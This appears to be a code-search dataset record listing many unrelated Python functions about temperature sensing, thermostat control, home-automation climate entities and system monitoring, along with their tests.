self.__temperature_set_points[i] = self.convert_ad7998_temp(\n self.__temperature_set_points_raw[i]\n )\n self.__temperature_values_raw[i] = self.adc_temp_mon[1].read_input_scaled(i)\n if not self.__temperature_disabled[i]:\n self.__temperature_values[i] = self.convert_ad7998_temp(\n self.__temperature_values_raw[i]\n )\n self.__temperature_trips[i] = not bool(mcp_mon_1[i])\n self.__temperature_traces[i] = bool(mcp_mon_2[i])\n\n for i in range(3):\n self.__temperature_values_raw[i + 8] = self.adc_temp_mon[2].read_input_scaled(i)\n if not self.__temperature_disabled[i + 8]:\n self.__temperature_values[i + 8] = self.convert_ad7998_temp(\n self.__temperature_values_raw[i + 8]\n )\n self.__temperature_set_points_raw[i + 8] = self.adc_temp_mon[2].read_input_scaled(i+4)\n self.__temperature_set_points[i + 8] = self.convert_ad7998_temp(\n self.__temperature_set_points_raw[i + 8]\n )\n self.__temperature_trips[i + 8] = not bool(mcp_mon_3[i])\n self.__temperature_traces[i + 8] = bool(mcp_mon_3[i+3])\n\n # Read, convert and store all humidity values and setpoints from the ADCs and\n # extract and store all trip, trace and disabled states from the MCPs\n\n self.__humidity_disabled[1] = mcp_mon_0[5]\n\n for i in range(self.num_humidities):\n\n self.__humidity_set_points_raw[i] = self.adc_misc[0].read_input_scaled(i+1)\n self.__humidity_set_points[i] = self.convert_ad7998_humidity(\n self.__humidity_set_points_raw[i]\n )\n self.__humidity_values_raw[i] = self.adc_misc[1].read_input_scaled(i+1)\n if not self.__humidity_disabled[i]:\n self.__humidity_values[i] = self.convert_ad7998_humidity(\n self.__humidity_values_raw[i]\n )\n\n self.__humidity_trips[i] = not bool(mcp_misc_1[i+1])\n self.__humidity_traces[i] = bool(mcp_misc_2[i])\n\n # Read, convert and store fan speed and setpoint ADC values and extract and store\n # the fan trip status\n self.__fan_speed_raw = self.adc_misc[1].read_input_scaled(0)\n self.__fan_speed = self.convert_ad7998_fan(self.__fan_speed_raw)\n self.__fan_set_point_raw = self.adc_misc[0].read_input_scaled(0)\n self.__fan_set_point = self.convert_ad7998_fan(self.__fan_set_point_raw)\n self.__fan_trip = not bool(mcp_misc_1[0])\n\n # Read, convert and store pump flow speed and setpoint ADC values and extract and store\n # the pump trip status\n self.__pump_flow_raw = self.adc_misc[1].read_input_scaled(3)\n self.__pump_flow = self.convert_ad7998_pump(self.__pump_flow_raw)\n self.__pump_set_point_raw = self.adc_misc[0].read_input_scaled(3)\n self.__pump_set_point = self.convert_ad7998_pump(self.__pump_set_point_raw)\n self.__pump_trip = not bool(mcp_misc_1[3])\n\n # Read, convert and save the detector position\n self.__position_raw = self.adc_misc[1].read_input_scaled(4)\n self.__position = self.convert_ad7998_position(self.__position_raw)\n\n # Extract and save global armed and health states\n self.__armed = bool(mcp_misc_0[0])\n self.__healthy = bool(mcp_misc_0[5])\n\n # Extract and save the quad trace states\n for i in range(2, 6):\n self.__quad_traces[i - 2] = bool(mcp_misc_2[i])\n\n # Extract and save the global sensor channel states\n self.__sensor_states[0] = mcp_mon_0[6]\n for i in range(1, 5):\n self.__sensor_states[i] = bool(mcp_misc_0[i])\n\n # Extract and save the global latch states\n self.__latched_states = [bool(i) for i in mcp_misc_3]\n\n # Update internal all_enabled state based on current armed state since being disarmed\n # automatically turns off all quad outputs\n if not self.__armed:\n self.__all_enabled = False\n\n # Poll sensors for all quads also\n for quad in self.quad:\n quad.poll_all_sensors()","def set_temperature(self, **kwargs):\n if self._on:\n if kwargs.get(ATTR_TEMPERATURE) is not None:\n self._target_temperature = kwargs.get(ATTR_TEMPERATURE)\n hub.session.set_heat_pump_target_temperature(\n self.heatpump_id, self._target_temperature)\n self.schedule_update_ha_state()","def _start_monitor(instance=\"default\"):\n global logger_ic\n logger_ic = infrasim_log.get_logger(LoggerType.ipmi_console.value, instance)\n logger_ic.info(\"ipmi-console monitor thread starts to run.\")\n monitor_thread = threading.Thread(target=monitor, args=(instance,))\n monitor_thread.setDaemon(True)\n monitor_thread.start()","def __init__(self):\n # set vars\n self.__deamon = True\n _tacho_pin = 'GPIO_PZ0'\n self._pow_pin = 'CAM_AF_EN'\n self._mist_pin = 'SPI2_MOSI'\n _pwm_pin = 'LCD_BL_PW'\n self._pwm_obj = None\n self._pump_pin = 'DAP4_DIN'\n self._sens_level_mist = 'UART2_CTS'\n self._sens_level_tank = 'DAP4_FS'\n self._sleep_pin = 'SPI2_SCK'\n self.__pow = 0\n self.__hum = 0\n self.__hum_temp = 100\n self.__sens_temp = 100\n self.__t = time.time()\n self.__rpm = 0\n\n # init everything\n GPIO.setmode(GPIO.TEGRA_SOC)\n GPIO.setup(self._pow_pin, GPIO.OUT)\n GPIO.setup(self._mist_pin, GPIO.OUT)\n GPIO.setup(self._pump_pin, GPIO.OUT)\n GPIO.setup(_tacho_pin, GPIO.IN)\n GPIO.setup(self._sens_level_mist, GPIO.IN)\n GPIO.setup(self._sens_level_tank, GPIO.IN)\n GPIO.setup(self._sleep_pin, GPIO.IN)\n GPIO.add_event_detect(_tacho_pin, GPIO.FALLING, self.__fan_int)\n GPIO.add_event_detect(self._sens_level_tank,\n GPIO.BOTH, self.__tank)\n GPIO.add_event_detect(self._sleep_pin, GPIO.FALLING, self.__Sleep)\n self._tah = temps.Temp()\n self._led = LED()\n self.kit = ServoKit(channels=16)\n self.kit.servo[7].actuation_range = 180\n self.kit.servo[8].actuation_range = 20\n self._pwm_obj = GPIO.PWM(_pwm_pin, 1000)\n self.__mist_thread = threading.Thread(target=self.__mist_deamon)\n self.__pow_thread = threading.Thread(target=self.__pow_deamon)\n self.__pump_thread = threading.Thread(target=self.__pump_deamon)\n self.__mist_thread.start()\n self.__pow_thread.start()\n self.__pump_thread.start()\n self._pwm_obj.start(0)\n self._led.reset_error()","def test_first_ten_minutes_are_ignored():\n m = monitor.Monitor(warmup_interval_s=60)\n t = datetime(2010, 1, 1, 0, 0)\n m.set_outside_temperature(10, t)\n assert m.temperature_update(20, t) == None\n m.boiler_on(t)\n assert m.temperature_update(21, t + timedelta(seconds=120)) == None\n assert m.temperature_update(23, t + timedelta(seconds=1320)) == (11, 6.0)","def create_system_metrics(system):\n pass","async def async_set_temperature(self, **kwargs: Any) -> None:\n changed = await self._set_climate_attribute(\n kwargs.get(ATTR_TEMPERATURE),\n CONF_TEMP_COMMAND_TOPIC,\n CONF_TEMP_COMMAND_TEMPLATE,\n CONF_TEMP_STATE_TOPIC,\n \"_attr_target_temperature\",\n )\n\n changed |= await self._set_climate_attribute(\n kwargs.get(ATTR_TARGET_TEMP_LOW),\n CONF_TEMP_LOW_COMMAND_TOPIC,\n CONF_TEMP_LOW_COMMAND_TEMPLATE,\n CONF_TEMP_LOW_STATE_TOPIC,\n \"_attr_target_temperature_low\",\n )\n\n changed |= await self._set_climate_attribute(\n kwargs.get(ATTR_TARGET_TEMP_HIGH),\n CONF_TEMP_HIGH_COMMAND_TOPIC,\n CONF_TEMP_HIGH_COMMAND_TEMPLATE,\n CONF_TEMP_HIGH_STATE_TOPIC,\n \"_attr_target_temperature_high\",\n )\n\n if not changed:\n return\n self.async_write_ha_state()","def __init__ (self, name=\"TrigEFMissingETOnlineMonitoring\"):\n super(TrigEFMissingETOnlineMonitoring, self).__init__(name)\n self.defineTarget(\"Online\")\n # measurement\n self.Histograms = [ hEx_log, hEy_log, hEz_log, hMET_log, hSumEt_log ]\n self.Histograms += [ hMET_lin, hSumEt_lin ]\n self.Histograms += [ hXS, hMETPhi, hMETStatus]\n self.Histograms += [ hCompEx, hCompEy, hCompEz, hCompEt, hCompSumEt, hCompSumE ]\n self.Histograms += [ hCompEt_lin, hCompSumEt_lin ]\n # timers\n# self.Histograms += [ hTotalTime, hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\n self.Histograms += [ hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\n self.Histograms += [ hTotalTimeEM, hTotalTimeHEC, hTotalTimeTile ]","def do_temp(self, args):\n\n new_temperature = float(input(\"New temperature?\"))\n self.model.set_temperature(new_temperature)","async def async_get_temperature(self):\n if self.token is None:\n await self.async_initialize_token()\n\n self.temperature = None\n raw = await self._async_ws_get_function(CMD_TEMPERATURE)\n\n f_to_c = lambda f: (5.0 / 9) * (f - 32)\n try:\n xml_root = element_tree.fromstring(raw)\n self.temperature = Temperature(\n tunerTemperature=f_to_c(int(xml_root.find(\"TunnerTemperature\").text)),\n temperature=f_to_c(int(xml_root.find(\"Temperature\").text)),\n )\n except (element_tree.ParseError, TypeError):\n _LOGGER.warning(\"Can't read temperature from %s\", self.host)\n self.token = None\n raise exceptions.ConnectBoxNoDataAvailable() from None","def heat(update: Update, context: CallbackContext) -> None:\n if __login.is_user_logged_in():\n if __sauna.control.getPortValue(\"Mains Sensor\") == 1:\n\n if __sauna.control.getPortValue(\"Power Sensor\") == 0:\n __sauna.control.togglePortValue(\"Power Switch\")\n\n if __sauna.control.getPortValue(\"Light Sensor\") == 0:\n __sauna.control.togglePortValue(\"Light Switch\")\n\n if __sauna.control.is_below_lower_limit(\"Temperature Sensor\"):\n if __sauna.control.getPortValue(\"Oven Sensor\") == 0:\n __sauna.control.togglePortValue(\"Oven Switch\")\n update.message.reply_text('Starting to heat.')\n else:\n update.message.reply_text('Main power is switched off. Needs to be set manually.')\n else:\n update.message.reply_text(\"You are not logged in. Log in!!\")","def test_take_temperature_readings0001(self, platform):\n\n temps = platform.take_temperature_readings()\n assert type(temps) is dict\n assert all([x.startswith(\"hw.sensors.\") for x in temps.iterkeys()])\n # check temperature readings are within reasonable parameters\n assert all([type(v) == float for v in temps.itervalues()])\n assert all([10 <= v <= 120 for v in temps.itervalues()])","async def _start_service_monitor(cls):\n cls.service_monitor = Monitor()\n await cls.service_monitor.start()","async def async_set_temperature(self, **kwargs: Any) -> None:\n target_temperature = (\n float(kwargs[ATTR_TEMPERATURE]) - self._offset\n ) / self._scale\n if self._data_type in (\n DataType.INT16,\n DataType.INT32,\n DataType.INT64,\n DataType.UINT16,\n DataType.UINT32,\n DataType.UINT64,\n ):\n target_temperature = int(target_temperature)\n as_bytes = struct.pack(self._structure, target_temperature)\n raw_regs = [\n int.from_bytes(as_bytes[i : i + 2], \"big\")\n for i in range(0, len(as_bytes), 2)\n ]\n registers = self._swap_registers(raw_regs, 0)\n\n if self._data_type in (\n DataType.INT16,\n DataType.UINT16,\n ):\n if self._target_temperature_write_registers:\n result = await self._hub.async_pb_call(\n self._slave,\n self._target_temperature_register,\n [int(float(registers[0]))],\n CALL_TYPE_WRITE_REGISTERS,\n )\n else:\n result = await self._hub.async_pb_call(\n self._slave,\n self._target_temperature_register,\n int(float(registers[0])),\n CALL_TYPE_WRITE_REGISTER,\n )\n else:\n result = await self._hub.async_pb_call(\n self._slave,\n self._target_temperature_register,\n [int(float(i)) for i in registers],\n CALL_TYPE_WRITE_REGISTERS,\n )\n self._attr_available = result is not None\n await self.async_update()","def emergency_heating_control():\n temp_room_1 = room1_temp()\n temp_room_2 = room2_temp() \n if temp_room_1 > 30: # Turn off lights to control temp\n if len(initial_time('emergency_temp_room1_timestamp.txt')) == 0:\n time_write_to_file('emergency_temp_room1_timestamp.txt', 'w')\n else:\n if mins_since_event('emergency_temp_room1_timestamp.txt') > 5:\n light_room1(False) # Temp been over 30 for 5mins turn off light \n \n elif temp_room_2 > 30: # Turn off lights to control temp \n if len(initial_time('emergency_temp_room2_timestamp.txt')) == 0:\n time_write_to_file('emergency_temp_room2_timestamp.txt', 'w')\n else:\n if mins_since_event('emergency_temp_room2_timestamp.txt') > 5:\n light_room2(False) # Temp been over 30 for 5mins turn off light\n \n elif temp_room_1 <= 30:\n check_lighting_state_room1()\n remove_timestamp('emergency_temp_room1_timestamp.txt')\n \n elif temp_room_2 <= 30:\n check_lighting_state_room2()\n remove_timestamp('emergency_temp_room2_timestamp.txt')","def set_temperature(self, temperature):\n self.api.device_control(\n self.obj_id, \"temperatureSet\", {\"value\": float(temperature)}\n )","def svc_put_zone_temp(\n self, temperature: float, **kwargs\n ) -> None: # set_current_temp\n self._device.sensor._make_fake()\n self._device.sensor.temperature = temperature\n self._device._get_temp()\n self.update_ha_state()","def temperature(self):\n return _cantera.reactor_temperature(self.__reactor_id)","def run(self):\n self.monitor.start()","def __init__(self, heatpumpid):\n import jsonpath\n self.jsonpath = jsonpath.jsonpath\n self._target_temperature = None\n self._current_operation = None\n self._current_fan_mode = None\n self._current_swing_mode = None\n self._on = None\n self.heatpump_id = heatpumpid\n self._support_flags = SUPPORT_TARGET_TEMPERATURE | SUPPORT_FAN_MODE |\\\n SUPPORT_OPERATION_MODE | SUPPORT_ON_OFF | SUPPORT_SWING_MODE\n self._unit_of_measurement = TEMP_CELSIUS\n self._fan_list = ['Auto', 'Low', 'Medium_Low', 'Medium',\n 'Medium_High', 'High']\n self._operation_list = ['heat', 'cool', 'auto', 'dry', 'fan_only']\n self._swing_list = ['Auto', '0_Degrees', '30_Degrees', '60_Degrees',\n '90_Degrees']\n self._config_date = None\n self.sync_data()","def create_monitor_table():\n print \"\\nCreating DB test if not exist\\n\"\n cnx_local_test = MySQLdb.connect(user='root',\n passwd=CREDENTIALS[\"root\"],\n host='localhost',\n unix_socket='/var/lib/mysql/mysql.sock')\n cursor = cnx_local_test.cursor()\n cursor.execute(\"SET sql_notes = 0;\")\n try:\n cursor.execute(\"\"\"\n CREATE DATABASE IF NOT EXISTS `test`\n \"\"\")\n except Exception as err:\n print \"Could not create database test: {}\".format(err)\n sys.exit(1)\n else:\n cnx_local_test.commit()\n cnx_local_test.close()\n\n print \"Creating table for Monitor\\n\"\n cnx_local_test = MySQLdb.connect(user='root',\n passwd=CREDENTIALS[\"root\"],\n host='localhost',\n unix_socket='/var/lib/mysql/mysql.sock',\n db='test')\n cursor = cnx_local_test.cursor()\n\n try:\n cursor.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS `monitor` (\n `id` varchar(255) DEFAULT NULL\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8\n \"\"\")\n cnx_local_test.commit()\n except Exception as err:\n print \"Could not create test table: {}\".format(err)\n sys.exit(1)\n else:\n cnx_local_test.commit()\n\n try:\n cursor.execute(\"\"\"\n INSERT INTO test.monitor SET id=(\"placeholder\");\n \"\"\")\n cnx_local_test.commit()\n except Exception as err:\n print \"Unable to write to test table: {}\".format(err)\n finally:\n if cnx_local_test:\n cnx_local_test.close()","def __init__ (self, name=\"TrigEFMissingETCosmicMonitoring\"):\n super(TrigEFMissingETCosmicMonitoring, self).__init__(name)\n self.defineTarget(\"Cosmic\")\n # measurement\n self.Histograms = [ hEx_log, hEy_log, hEz_log, hMET_log, hSumEt_log ]\n self.Histograms += [ hMET_lin, hSumEt_lin ]\n self.Histograms += [ hMETPhi, hMETStatus]\n self.Histograms += [ hCompEx, hCompEy, hCompEz, hCompEt, hCompSumEt, hCompSumE ]\n self.Histograms += [ hCompEt_lin, hCompSumEt_lin ]\n # timers\n# self.Histograms += [ hTotalTime, hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\n self.Histograms += [ hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\n self.Histograms += [ hTotalTimeEM, hTotalTimeHEC, hTotalTimeTile ]","def measurements():\n \n number_of_days = 100\n\n\n # the temperature is usually 20 but can vary by 10 degrees at a time\n \n average_temperature, standard_deviation = 20, 10\n\n # ground truth temperature\n\n _c = np.random.normal(average_temperature, standard_deviation, number_of_days)\n\n # the therometer is usually 2 off but can be off by up to 4 degrees\n \n average_jankiness, standard_jankiness = 2, 2\n \n temperature_deviations = np.random.normal(average_jankiness, standard_jankiness, number_of_days)\n\n c = _c + temperature_deviations\n \n _f = convert(_c)\n\n average_jankiness, standard_jankiness = 2.4, 3.3\n\n therometer_deviations = np.random.normal(average_jankiness, standard_jankiness, number_of_days)\n \n f = _f + therometer_deviations\n \n return pd.DataFrame({\n 'c': c,\n 'f': f,\n })","def sendTemperature(self):\n if len(self.controller.myContainer.temperature) != 0:\n temp = sum(self.controller.myContainer.temperature) / len(self.controller.myContainer.temperature)\n else:\n temp = 0\n payload = ('{\"ts\": '+ str(int(time())) + ', \"temp\":' + str(temp) +\n '\"data\": { \"status\": ' + str(self.controller.status) + ', \"setpoint\": '+ str(self.controller.setpoint) + ' }}' )\n res, self.midTemp = self.client.publish(self.pubTemp, payload, qos=1, retain=False)\n if debug: print(\"Sent: \", payload , \"on\", self.pubTemp, \"mid: \", self.midTemp)\n self.controller.myContainer.resetTempAccumulators()\n\n filename = self.pubTemp.replace(\"/\", \"-\") + \".txt\"\n if self.storeTempLocal:\n f = open(filename, 'a+')\n f.write(self.lastTempPayload+\"\\n\")\n f.close()\n self.storeLocalTemp = True\n self.lastTempPayload = payload","def temperature(self, temperature):\n\n self._temperature = temperature","def temperature(self, temperature):\n\n self._temperature = temperature","def start_monitor_loop(self):\n read_file = read_config_file.ConfigFileReader()\n\n communication_time = read_file.get_send_communication_time()\n metrics_array = read_file.get_metrics()\n\n self.add_metrics_to_monitor_object(communication_time, metrics_array)","def _run():\n\n temperatures_kelvins = _create_temperature_grid()\n first_derivs_kelvins_pt01 = numpy.gradient(temperatures_kelvins)\n second_derivs_kelvins_pt01 = numpy.gradient(\n numpy.absolute(first_derivs_kelvins_pt01)\n )\n\n this_ratio = (\n numpy.max(temperatures_kelvins) /\n numpy.max(first_derivs_kelvins_pt01)\n )\n\n first_derivs_unitless = first_derivs_kelvins_pt01 * this_ratio\n\n this_ratio = (\n numpy.max(temperatures_kelvins) /\n numpy.max(second_derivs_kelvins_pt01)\n )\n\n second_derivs_unitless = second_derivs_kelvins_pt01 * this_ratio\n\n _, axes_object = pyplot.subplots(\n 1, 1, figsize=(FIGURE_WIDTH_INCHES, FIGURE_HEIGHT_INCHES)\n )\n\n temperature_handle = axes_object.plot(\n temperatures_kelvins, color=TEMPERATURE_COLOUR, linestyle='solid',\n linewidth=SOLID_LINE_WIDTH\n )[0]\n\n second_deriv_handle = axes_object.plot(\n second_derivs_unitless, color=SECOND_DERIV_COLOUR, linestyle='solid',\n linewidth=SOLID_LINE_WIDTH\n )[0]\n\n first_deriv_handle = axes_object.plot(\n first_derivs_unitless, color=FIRST_DERIV_COLOUR, linestyle='dashed',\n linewidth=DASHED_LINE_WIDTH\n )[0]\n\n this_min_index = numpy.argmin(second_derivs_unitless)\n second_derivs_unitless[\n (this_min_index - 10):(this_min_index + 10)\n ] = second_derivs_unitless[this_min_index]\n\n tfp_handle = axes_object.plot(\n -1 * second_derivs_unitless, color=TFP_COLOUR, linestyle='dashed',\n linewidth=DASHED_LINE_WIDTH\n )[0]\n\n axes_object.set_yticks([0])\n axes_object.set_xticks([], [])\n\n x_label_string = r'$x$-coordinate (increasing to the right)'\n axes_object.set_xlabel(x_label_string)\n\n legend_handles = [\n temperature_handle, first_deriv_handle, second_deriv_handle,\n tfp_handle\n ]\n\n legend_strings = [\n TEMPERATURE_LEGEND_STRING, FIRST_DERIV_LEGEND_STRING,\n SECOND_DERIV_LEGEND_STRING, TFP_LEGEND_STRING\n ]\n\n axes_object.legend(legend_handles, legend_strings, loc='lower right')\n\n print 'Saving figure to file: \"{0:s}\"...'.format(OUTPUT_FILE_NAME)\n pyplot.savefig(OUTPUT_FILE_NAME, dpi=FIGURE_RESOLUTION_DPI)\n pyplot.close()","def __init__ (self, name=\"TrigEFMissingETOnlineMonitoring_alt\"):\n super(TrigEFMissingETOnlineMonitoring_alt, self).__init__(name)\n self.defineTarget(\"Online\")\n # measurement\n self.Histograms = [ hEx_log, hEy_log, hEz_log, hMET_log, hSumEt_log ]\n self.Histograms += [ hMET_lin, hMETStatus ]\n self.Histograms += [ hMETPhi ]","def make_temperature_map(time: u.s, field, instr, **kwargs):\n plot_settings = {'cmap': cm.get_cmap('inferno')}\n plot_settings.update(kwargs.get('plot_settings', {}))\n bins, bin_range = instr.make_detector_array(field)\n visible = is_visible(instr.total_coordinates, instr.observer_coordinate)\n hist_coordinates, _, _ = np.histogram2d(instr.total_coordinates.Tx.value,\n instr.total_coordinates.Ty.value,\n bins=(bins.x.value, bins.y.value),\n range=(bin_range.x.value, bin_range.y.value),\n weights=visible)\n with h5py.File(instr.counts_file, 'r') as hf:\n try:\n i_time = np.where(u.Quantity(hf['time'],\n get_keys(hf['time'].attrs), ('unit', 'units')) == time)[0][0]\n except IndexError:\n raise IndexError(f'{time} is not a valid time in observing time for {instr.name}')\n weights = np.array(hf['electron_temperature'][i_time, :])\n units = u.Unit(get_keys(hf['electron_temperature'].attrs, ('unit', 'units')))\n hist, _, _ = np.histogram2d(instr.total_coordinates.Tx.value,\n instr.total_coordinates.Ty.value,\n bins=(bins.x.value, bins.y.value),\n range=(bin_range.x.value, bin_range.y.value),\n weights=weights * visible)\n hist /= np.where(hist_coordinates == 0, 1, hist_coordinates)\n meta = instr.make_fits_header(field, instr.channels[0])\n del meta['wavelnth']\n del meta['waveunit']\n meta['bunit'] = units.to_string()\n meta['detector'] = 'Electron Temperature'\n meta['comment'] = 'Column-averaged electron temperature calculated by synthesizAR'\n\n return GenericMap(hist.T, meta, plot_settings=plot_settings)","def monitor(self):\n if self.startup():\n time.sleep(0.250)\n self.run()","def initMonitor(self, task, job, logPath, args={}):\n print(\"In TestMonitor.initMonitor\")\n\n self.softTimeOut = args.get('softTimeOut', None)\n self.hardTimeOut = args.get('hardTimeOut', None)","async def test_thermostat_heatit_z_trm2fx(\n hass: HomeAssistant, client, climate_heatit_z_trm2fx, integration\n) -> None:\n node = climate_heatit_z_trm2fx\n state = hass.states.get(CLIMATE_FLOOR_THERMOSTAT_ENTITY)\n\n assert state\n assert state.state == HVACMode.HEAT\n assert state.attributes[ATTR_HVAC_MODES] == [\n HVACMode.OFF,\n HVACMode.HEAT,\n HVACMode.COOL,\n ]\n assert state.attributes[ATTR_CURRENT_TEMPERATURE] == 28.8\n assert state.attributes[ATTR_TEMPERATURE] == 29\n assert (\n state.attributes[ATTR_SUPPORTED_FEATURES]\n == ClimateEntityFeature.TARGET_TEMPERATURE | ClimateEntityFeature.PRESET_MODE\n )\n assert state.attributes[ATTR_MIN_TEMP] == 7\n assert state.attributes[ATTR_MAX_TEMP] == 35\n\n # Try switching to external sensor\n event = Event(\n type=\"value updated\",\n data={\n \"source\": \"node\",\n \"event\": \"value updated\",\n \"nodeId\": 24,\n \"args\": {\n \"commandClassName\": \"Configuration\",\n \"commandClass\": 112,\n \"endpoint\": 0,\n \"property\": 2,\n \"propertyName\": \"Sensor mode\",\n \"newValue\": 4,\n \"prevValue\": 2,\n },\n },\n )\n node.receive_event(event)\n state = hass.states.get(CLIMATE_FLOOR_THERMOSTAT_ENTITY)\n assert state\n assert state.attributes[ATTR_CURRENT_TEMPERATURE] == 0","async def _async_start_monitor(self) -> None:\n if not sys.platform.startswith(\"linux\"):\n return\n info = await system_info.async_get_system_info(self.hass)\n if info.get(\"docker\"):\n return\n\n from pyudev import ( # pylint: disable=import-outside-toplevel\n Context,\n Monitor,\n MonitorObserver,\n )\n\n try:\n context = Context()\n except (ImportError, OSError):\n return\n\n monitor = Monitor.from_netlink(context)\n try:\n monitor.filter_by(subsystem=\"tty\")\n except ValueError as ex: # this fails on WSL\n _LOGGER.debug(\n \"Unable to setup pyudev filtering; This is expected on WSL: %s\", ex\n )\n return\n observer = MonitorObserver(\n monitor, callback=self._device_discovered, name=\"usb-observer\"\n )\n observer.start()\n\n def _stop_observer(event: Event) -> None:\n observer.stop()\n\n self.hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, _stop_observer)\n self.observer_active = True","def get_temperature(self):\n pass","def initialize():\n for file_name in glob.glob('/dev/usb/hiddev*'):\n with open(file_name, 'rb') as fd:\n if not pytjapi.is_tigerjet(fd.fileno()):\n continue\n\n # Enable DTMF and Hook Status HID reports\n data = pytjapi.read(fd.fileno(), 0x4e)\n pytjapi.write(fd.fileno(), 0x4e, (data | 0x40))\n\n # Lower the DTMF decoder threshold from 0x199 to 0x50\n # This is required to work with the DSC PC9155 alarm\n pytjapi.write(fd.fileno(), 0x35, 0x50)\n pytjapi.write(fd.fileno(), 0x36, 0)\n\n global TJ_ID\n TJ_ID = file_name[15:]\n break\n else:\n raise ValueError('Unable to find TigerJet Device')","async def test_climate_set_temperature(hass: HomeAssistant, nefit_wrapper):\n nefit_climate_entity = \"climate.nefit\"\n\n thermostat = hass.states.get(\"climate.nefit\")\n assert thermostat.attributes[ATTR_TEMPERATURE] == 20.0\n\n await hass.services.async_call(\n CLIMATE_DOMAIN,\n SERVICE_SET_TEMPERATURE,\n {\"entity_id\": nefit_climate_entity, ATTR_TEMPERATURE: 17.0},\n blocking=True,\n )\n await hass.async_block_till_done()\n\n thermostat = hass.states.get(\"climate.nefit\")\n assert thermostat.attributes[ATTR_TEMPERATURE] == 17.0","def conduct_heat(self, delta_time, external_power):\n\t\tself.temperature_container = self.temperature_container+self.area*external_power*delta_time/(self.heat_capacity_container*self.mass_container)#https://en.wikipedia.org/wiki/Heat_capacity\n\t\t\n\t\tinternal_power = 0.591*(self.temperature_container-self.temperature)/0.01#No idea of this is right. Mainly the devides by its length bit. https://en.wikipedia.org/wiki/Thermal_conduction#Fourier's_law\n\t\t\n\t\tif (self.heat_capacity*self.mass())!=0:\n\t\t\tself.temperature = self.temperature+internal_power*delta_time/(self.heat_capacity*self.mass())\n\t\t\t#self.temperature_container=self.temperature_container-internal_power*delta_time/(self.heat_capacity_container*self.mass_container)#Als je dit toevoegd lijkt de simulatie niet goed meer te werken dus nog even uitzoeken heo dat zit.","async def test_get_temperature_range(hass, hk_driver, cls):\n entity_id = 'climate.test'\n\n hass.states.async_set(entity_id, STATE_OFF)\n await hass.async_block_till_done()\n acc = cls.thermostat(hass, hk_driver, 'Climate', entity_id, 2, None)\n\n hass.states.async_set(entity_id, STATE_OFF,\n {ATTR_MIN_TEMP: 20, ATTR_MAX_TEMP: 25})\n await hass.async_block_till_done()\n assert acc.get_temperature_range() == (20, 25)\n\n acc._unit = TEMP_FAHRENHEIT\n hass.states.async_set(entity_id, STATE_OFF,\n {ATTR_MIN_TEMP: 60, ATTR_MAX_TEMP: 70})\n await hass.async_block_till_done()\n assert acc.get_temperature_range() == (15.6, 21.1)","def test_create_healthmonitor_with_all_params(self):\r\n resource = 'health_monitor'\r\n cmd = healthmonitor.CreateHealthMonitor(test_cli20.MyApp(sys.stdout),\r\n None)\r\n admin_state_up = False\r\n delay = '60'\r\n expected_codes = '200-202,204'\r\n http_method = 'HEAD'\r\n max_retries = '2'\r\n timeout = '10'\r\n type = 'TCP'\r\n tenant_id = 'my-tenant'\r\n url_path = '/health'\r\n my_id = 'my-id'\r\n args = ['--admin-state-down',\r\n '--delay', delay,\r\n '--expected-codes', expected_codes,\r\n '--http-method', http_method,\r\n '--max-retries', max_retries,\r\n '--timeout', timeout,\r\n '--type', type,\r\n '--tenant-id', tenant_id,\r\n '--url-path', url_path]\r\n position_names = ['admin_state_up', 'delay',\r\n 'expected_codes', 'http_method',\r\n 'max_retries', 'timeout',\r\n 'type', 'tenant_id', 'url_path']\r\n position_values = [admin_state_up, delay,\r\n expected_codes, http_method,\r\n max_retries, timeout,\r\n type, tenant_id, url_path]\r\n self._test_create_resource(resource, cmd, '', my_id, args,\r\n position_names, position_values)","def create_health_monitor(self, body=None):\r\n return self.post(self.health_monitors_path, body=body)","def get_temperatures(self):\n\t\ttry:\n\t\t\ttemps = psutil.sensors_temperatures()\n\t\texcept AttributeError:\n\t\t\treturn {'available': False}\n\t\t\n\t\tcollection = {'available': True, 'measurements': []}\n\t\tfor name, measurements in temps.items():\n\t\t\tif name == 'k10temp':\n\t\t\t\tcollection['measurements'].append({\n\t\t\t\t\t'name': 'AMD Processor',\n\t\t\t\t\t'current': measurements[0].current,\n\t\t\t\t\t'limit': measurements[0].critical\n\t\t\t\t})\n\n\t\treturn collection","def watch(self):\n self.bot.set_all_initial()\n if \"monitor_iterations\" in self.auto_settings:\n monitor_iterations = self.auto_settings[\"monitor_iterations\"]\n else:\n monitor_iterations = 10\n\n monitor_results = self.motion_sensors.detect_motion(read_times=monitor_iterations)\n if monitor_results is None:\n return\n else:\n self.communications.set_status(\"Motion Detected, PANIC!\")\n self.communications.add_event(\"Motion Triggered on {}\".format(monitor_results.items()))\n self.communications.send_notification(\"Motion Detected\", monitor_results.keys())","def set_temperature(self, **kwargs):\n self._target_temperature_low = kwargs.get(ATTR_TARGET_TEMP_LOW)\n self._target_temperature_high = kwargs.get(ATTR_TARGET_TEMP_HIGH)\n temp = kwargs.get(ATTR_TEMPERATURE)\n if self.current_operation == 'Heat & Cool' and self._target_temperature_low is not None \\\n and self._target_temperature_high is not None:\n self._api._heatto = self._target_temperature_low\n self._api._coolto = self._target_temperature_high\n elif temp is not None:\n if self.current_operation == 'Heat only':\n self._api._heatto = temp\n self._api._coolto = temp + 10\n elif self.current_operation == 'Cool only':\n self._api._heatto = temp - 10\n self._api._coolto = temp \n self._api.set()\n self.schedule_update_ha_state()","def __init__(self):\n Thread.__init__(self)\n self.temperature_c = None\n self.humidity = None\n self.running = True\n self._sensor = adafruit_dht.DHT22(board.D17, use_pulseio=False)\n self._current_temperature_reading = None\n self._current_humidity_reading = None","def __init__(self):\n self.wnd = WindSensor()","def set_temperature(self, temperature):\n self.device.set_temperature(self._name, temperature)"],"string":"[\n \"def __init__(self, sensor, temperature_resolution, humidity_resolution):\\n self.sensor = sensor\\n self.sensor.turnHeaterOn() \\n time.sleep(1.0) # Burn off condensed stuff.\\n self.sensor.turnHeaterOff() \\n self.update()\\n # Main Program\\n #print \\\"------------\\\"\\n #print \\\"Manfacturer ID=0x%X\\\"% self.sensor.readManufacturerID() \\n #print \\\"Device ID=0x%X\\\"% self.sensor.readDeviceID() \\n 